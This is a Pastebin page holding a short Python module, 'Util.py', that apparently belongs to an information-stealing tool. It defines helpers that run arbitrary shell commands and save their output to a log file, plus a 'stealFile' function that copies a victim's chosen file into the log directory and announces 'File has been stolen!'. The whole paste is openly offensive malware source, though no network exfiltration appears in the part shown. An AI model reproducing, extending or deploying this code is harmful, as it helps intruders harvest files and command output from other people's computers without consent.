Advertisement
FlyFar

Util.py

Aug 10th, 2023
787
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.49 KB | Cybersecurity | 0 0
  1. from subprocess import check_output
  2. from json import loads
  3. from shutil import copy, copy2
  4.  
  5.  
  6. class Util:
  7.  
  8.     @staticmethod
  9.     def fileOut(file:str, data:str, mode='a') -> None:
  10.         try:
  11.             with open(file=file, mode=mode, encoding='UTF-8') as FILE:
  12.                 FILE.write(str(data))
  13.         except Exception:
  14.             print('fileOut Error!')
  15.  
  16.  
  17.  
  18.     @staticmethod
  19.     def jsonIn(file) -> str:
  20.         with open(file=file, mode='r') as FILE:
  21.             return loads(FILE.readlines()[0])
  22.  
  23.  
  24.  
  25.     @staticmethod
  26.     def executeShellCommand(command:str) -> str:
  27.         result = ''
  28.         try:
  29.             result = check_output(command, shell=True, encoding='437')
  30.         except Exception as error:
  31.             result = error
  32.         return result
  33.  
  34.  
  35.  
  36.     @staticmethod
  37.     def extractShellData(logPath, shellCommand:str):
  38.         if shellCommand:
  39.             try:
  40.                 result = Util.executeShellCommand(shellCommand)
  41.                 Util.fileOut(logPath + 'shell.txt', result, 'w')
  42.                 print('Shell command executed!')
  43.             except Exception:
  44.                 print('shellcommand error')
  45.  
  46.  
  47.  
  48.     @staticmethod
  49.     def stealFile(logPath, stealPath:str):
  50.         if stealPath:
  51.             try:
  52.                 filename = stealPath.split('\\')[-1]
  53.                 copy2(stealPath, logPath + filename)
  54.                 print('File has been stolen!')
  55.             except Exception as error:
  56.                 print('stealfile: ',error)
  57.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement